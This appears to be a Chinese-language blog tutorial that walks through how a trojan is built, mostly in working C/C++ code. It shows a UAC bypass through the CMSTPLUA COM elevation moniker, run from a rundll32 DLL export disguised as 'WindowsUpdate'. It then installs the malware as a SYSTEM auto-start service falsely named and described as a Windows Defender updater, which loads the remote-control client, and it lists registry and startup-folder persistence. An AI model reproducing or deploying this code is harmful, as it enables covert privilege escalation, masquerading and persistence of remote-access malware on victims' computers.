「深度解析」有关某木马编程解析插图

提升权限

程序运行的时候,基本上只是普通的用户权限,除非通过社工的手段,比如伪造成游戏的作弊器之类的,欺骗使用者右键使用管理员权限打开(或者弹出下图的这种框的时候点击是)。

但是一些敏感操作,有需要管理员权限,比如向系统盘的某些文件夹写文件,比如设置系统服务等等。所以需要进行提权。

github上有个项目叫hfiref0x/UACME: Defeating Windows User Account Control (github.com),讲得就是Windows的提权,方法挺多了,但是好多都不能用了,或者是条件有些苛刻,或者是太难了我没看懂。

这里介绍个很容易懂,代码也很简洁的方法:

COM提升名称(COM Elevation Moniker)技术允许运行在用户账户控制下的应用程序用提升权限的方法来激活COM类,以提升COM接口权限。同时,ICMLuaUtil接口提供了ShellExec方法来执行命令,创建指定进程。因此,我们可以利用COM提升名称来对ICMLuaUtil接口提权,之后通过接口调用ShellExec方法来创建指定进程,实现BypassUAC。

但是,执行这段代码的必须是可信程序(指直接获取管理员权限,而不触发UAC弹框的白名单程序),才能实现提权(不弹出上图中的那个对话框)。可信程序有rundll32.exe,lsass.exe,svchost.exe等等,这些也是恶意软件经常滥用的程序。当然计算器,记事本这些也是白名单程序,不过没啥可利用的地方。

刚好rundll32就可以执行32位dll文件里的函数,所以可以用它来执行提权的代码。

rundll32执行的函数,如果没有参数,则可以直接定义无参函数;如果有参数,则必须按照如下的格式来定义:

void CALLBACK FuncName(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow);

第三个参数lpszCmdLine就是传给函数的命令行参数。

BypassUAC.h

#pragma once


#include <Windows.h>
#include <objbase.h>
#include <strsafe.h>


#define CLSID_CMSTPLUA                     L"{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"
#define IID_ICMLuaUtil                     L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}"


typedef interface ICMLuaUtil ICMLuaUtil;

typedef struct ICMLuaUtilVtbl {

    BEGIN_INTERFACE

        HRESULT(STDMETHODCALLTYPE *QueryInterface)(
            __RPC__in ICMLuaUtil * This,
            __RPC__in REFIID riid,
            _COM_Outptr_  void **ppvObject);

    ULONG(STDMETHODCALLTYPE *AddRef)(
        __RPC__in ICMLuaUtil * This);

    ULONG(STDMETHODCALLTYPE *Release)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method1)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method2)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method3)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method4)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method5)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method6)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *ShellExec)(
        __RPC__in ICMLuaUtil * This,
        _In_     LPCWSTR lpFile,
        _In_opt_  LPCTSTR lpParameters,
        _In_opt_  LPCTSTR lpDirectory,
        _In_      ULONG fMask,
        _In_      ULONG nShow
        );

    HRESULT(STDMETHODCALLTYPE *SetRegistryStringValue)(
        __RPC__in ICMLuaUtil * This,
        _In_      HKEY hKey,
        _In_opt_  LPCTSTR lpSubKey,
        _In_opt_  LPCTSTR lpValueName,
        _In_      LPCTSTR lpValueString
        );

    HRESULT(STDMETHODCALLTYPE *Method9)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method10)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method11)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method12)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method13)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method14)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method15)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method16)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method17)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method18)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method19)(
        __RPC__in ICMLuaUtil * This);

    HRESULT(STDMETHODCALLTYPE *Method20)(
        __RPC__in ICMLuaUtil * This);

    END_INTERFACE

} *PICMLuaUtilVtbl;

interface ICMLuaUtil
{
    CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl;
};


HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid);

BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable);

// 套壳CMLuaUtilBypassUAC
extern "C" _declspec(dllexport) void CALLBACK WindowsUpdate(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);

BypassUAC.cpp

#include "pch.h"
#include "BypassUAC.h"
#include "Shlobj.h"
#include <atlconv.h>


HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
    BIND_OPTS3 bo;
    WCHAR wszCLSID[MAX_PATH] = { 0 };
    WCHAR wszMonikerName[MAX_PATH] = { 0 };
    HRESULT hr = 0;

    // 初始化COM环境
    ::CoInitialize(NULL);

    // 构造字符串
    ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
    hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
    if (FAILED(hr))
    {
        return hr;
    }

    // 设置BIND_OPTS3
    ::RtlZeroMemory(&bo, sizeof(bo));
    bo.cbStruct = sizeof(bo);
    bo.hwnd = hWnd;
    bo.dwClassContext = CLSCTX_LOCAL_SERVER;

    // 创建名称对象并获取COM对象
    hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
    return hr;
}


BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
    HRESULT hr = 0;
    CLSID clsidICMLuaUtil = { 0 };
    IID iidICMLuaUtil = { 0 };
    ICMLuaUtil *CMLuaUtil = NULL;
    BOOL bRet = FALSE;

    do {
        ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
        ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

        // 提权
        hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
        if (FAILED(hr))
        {
            break;
        }

        // 启动程序
        hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
        if (FAILED(hr))
        {
            break;
        }

        bRet = TRUE;
    } while (FALSE);

    // 释放
    if (CMLuaUtil)
    {
        CMLuaUtil->lpVtbl->Release(CMLuaUtil);
    }

    return bRet;
}


void CALLBACK WindowsUpdate(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) {
    USES_CONVERSION;
    CMLuaUtilBypassUAC(A2W(lpszCmdLine));
}

把WindowsUpdate定义为导出函数,生成dll,然后在安装程序中调用rundll32.exe BypassUAC.dll _WindowUpdate@16 xxx.exe,就可以以管理员的权限运行xxx.exe这个程序了。

可能有个小众的知识点需要提一下:

CALLBACK是__stdcall的别称,而c方式和__stdcall组合时,编译后名字为FunName@x,如果是导出函数,则在Dll中也叫_FunName@x(x是所有参数占空间的总大小)。

开机自启

实现开机自启的方法有很多,我这边用的是系统服务实现的。

快速启动目录

windows系统有一个用于快速启动的目录,该文件夹下的程序(或者是快捷方式)会在开机的时候自动启动。可以使用SHGetSpecialFolderPath()获取这个目录。

注册表

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run写入程序路径即可。

系统服务

系统服务需要管理员权限才能设置,前面说过怎么提权了。

设置好了以后,程序会以系统服务的形式开机自启,而且会是SYSTEM权限。

这个地方分两部分,一个用于设置和启动系统服务,一个是系统服务程序本身。

BOOL RegisterSystemService(WCHAR lpszDriverPath[]) {

    WCHAR pszServiceName[MAX_PATH] = L"Windows Defender自动更新";
    WCHAR pszServiceDesc[MAX_PATH] = L"使你的Windows Defender保持最新状态。如果此服务已禁用或停止,则Windows Defender将无法保持最新状态,这意味这无法修复可能产生的安全漏洞,并且功能也可能无法使用。";

    // 为路径加上引号,因为CreateService中的lpBinaryPathName要求带引号,除非路径中没空格
    WCHAR lpBinaryPathName[MAX_PATH + 2];
    wsprintf(lpBinaryPathName, L"\"%s\"", lpszDriverPath);

    SC_HANDLE shOSCM = NULL, shCS = NULL;
    SERVICE_STATUS ss;
    DWORD dwErrorCode = 0;
    BOOL bSuccess = FALSE;
    // 打开服务控制管理器数据库
    shOSCM = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!shOSCM) {
        return FALSE;
    }

    // 创建服务,设置开机自启
    shCS = CreateService(shOSCM, pszServiceName, pszServiceName,
        SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
        SERVICE_AUTO_START,    SERVICE_ERROR_NORMAL, lpBinaryPathName, NULL, NULL, NULL, NULL, NULL);
    if (!shCS){
        return FALSE;
    }

    // 设置服务的描述
    SERVICE_DESCRIPTION ServiceDesc;
    ServiceDesc.lpDescription = pszServiceDesc;
    ChangeServiceConfig2(shCS, SERVICE_CONFIG_DESCRIPTION, &ServiceDesc);

    if (!StartService(shCS, 0, NULL))    {
        return FALSE;
    }

    if (shCS) {
        CloseServiceHandle(shCS);
        shCS = NULL;
    }
    if (shOSCM)    {
        CloseServiceHandle(shOSCM);
        shOSCM = NULL;
    }
    return TRUE;
}

服务的名称设置为Windows Defender自动更新,服务的描述也有一定的迷惑性。

注释写得差不多了,只有一点需要注意,CreateService()中的lpBinaryPathName这个路径,记得两边用引号包裹起来。

然后是系统服务程序,要符合其规范,需要实现ServiceMain服务入口函数:

// 服务的入口函数
void ServiceMain(int argc, wchar_t* argv[])
{
    g_ServiceStatusHandle = RegisterServiceCtrlHandler(g_szServiceName, ServiceHandle);

    TellSCM(SERVICE_START_PENDING, 0, 1);
    TellSCM(SERVICE_RUNNING, 0, 0);

    // 执行我们的代码
    MyCode();

    while (TRUE) {
        Sleep(5000);
    }
}


// 服务的处理回调的函数
void WINAPI ServiceHandle(DWORD dwOperateCode) {

    switch (dwOperateCode)
    {
    case SERVICE_CONTROL_PAUSE:
        TellSCM(SERVICE_PAUSE_PENDING, 0, 1);
        TellSCM(SERVICE_PAUSED, 0, 0);
        break;

    case SERVICE_CONTROL_CONTINUE:
        TellSCM(SERVICE_CONTINUE_PENDING, 0, 1);
        TellSCM(SERVICE_RUNNING, 0, 0);
        break;

    case SERVICE_CONTROL_STOP:
        TellSCM(SERVICE_STOP_PENDING, 0, 1);
        TellSCM(SERVICE_STOPPED, 0, 0);
        break;

    case SERVICE_CONTROL_INTERROGATE:
        break;

    default:
        break;
    }
}


BOOL TellSCM(DWORD dwState, DWORD dwExitCode, DWORD dwProgress) {

    SERVICE_STATUS serviceStatus = { 0 };
    BOOL bRet = FALSE;

    RtlZeroMemory(&serviceStatus, sizeof(serviceStatus));
    serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
    serviceStatus.dwCurrentState = dwState;
    serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
    serviceStatus.dwWin32ExitCode = dwExitCode;
    serviceStatus.dwWaitHint = 3000;

    bRet = SetServiceStatus(g_ServiceStatusHandle, &serviceStatus);
    return bRet;
}


void MyCode() {
    HINSTANCE  hDll = LoadLibrary(L"WindowsDefenderAutoUpdate.dll");
    FUNC pfnRunMuaClient = (FUNC)GetProcAddress(hDll, "WindowsDefenderAutoUpdate");
    pfnRunMuaClient();
}

其实就是个通用的框架,只需要实现MyCode这个函数就行了。

最后的MyCode()是Load了MuaClient.dll,调用WindowsDefenderAutoUpdate函数,实际上就是启动被控端。